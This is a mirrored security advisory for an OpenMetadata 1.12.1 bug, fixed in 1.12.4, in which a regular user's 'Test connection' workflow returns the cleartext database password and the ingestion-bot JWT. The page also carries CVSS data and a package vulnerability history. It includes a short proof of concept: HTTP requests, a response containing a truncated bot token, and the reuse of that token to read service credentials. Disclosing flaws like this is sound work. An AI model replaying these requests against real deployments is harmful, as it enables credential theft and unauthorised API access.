Alta

OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users

  • Publicada: 21.05.2026
  • Actualizado: 11.10.2026 12:22

This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:

  • The cleartext database password in request.connection.config.password.
  • The ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken.

The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.

This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.


Version / Product

  • Product: OpenMetadata (open source, Apache 2.0)
  • Version: 1.12.1
    • GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
  • Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (secretsManagerProvider: "db").

Preconditions

  • Authenticated SSO user with access to the UI.
  • User can open a Database Service and click “Test connection”.
  • No server admin role, no shell/DB access.

PoC (short)

  1. Login as a regular SSO user.

  2. In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
    Open the connection tab and click “Test connection”.

  3. The browser sends:

POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json

{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }

Note: in the request the password is masked as "********".

  1. The server responds with HTTP 201 and a body similar to:

{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }

Key points:

  • request.connection.config.password now contains the real Oracle DB password in cleartext.
  • openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
  1. Reuse the leaked ingestion-bot JWT:

GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json

The API returns the full database service including username and password, confirming bot-level access.


Impact / Severity

  • Any user who can run “Test connection” on a database service can:
    • Recover the cleartext DB credentials.
    • Recover a long‑lived ingestion-bot JWT.
    • Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.

** <img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" /> <img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" /> <img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.open-metadata:openmetadata-service < 1.12.4 1.12.4

Referencias

Puntuación CVSS 8.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Debilidad (CWE)
CWE-201
Plataforma
Java / Kotlin (Maven)
Paquete
org.open-metadata:openmetadata-service
Publicada
21.05.2026
Actualizado
11.10.2026 12:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-9vmh-whc4-7phg - CC BY 4.0

Historial de vulnerabilidades: org.open-metadata:openmetadata-service

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
5
Primera → última
04.2024 05.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 4

Divulgaciones por año

  1. 2024: 3
  2. 2025: 1
  3. 2026: 1
  1. OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users esta entrada
    Alta · 8.3 CVE-2026-46481 < 1.12.4 1.12.4
  2. Alta · 7.1 CVE-2024-55238 <= 1.4.1 sin corrección

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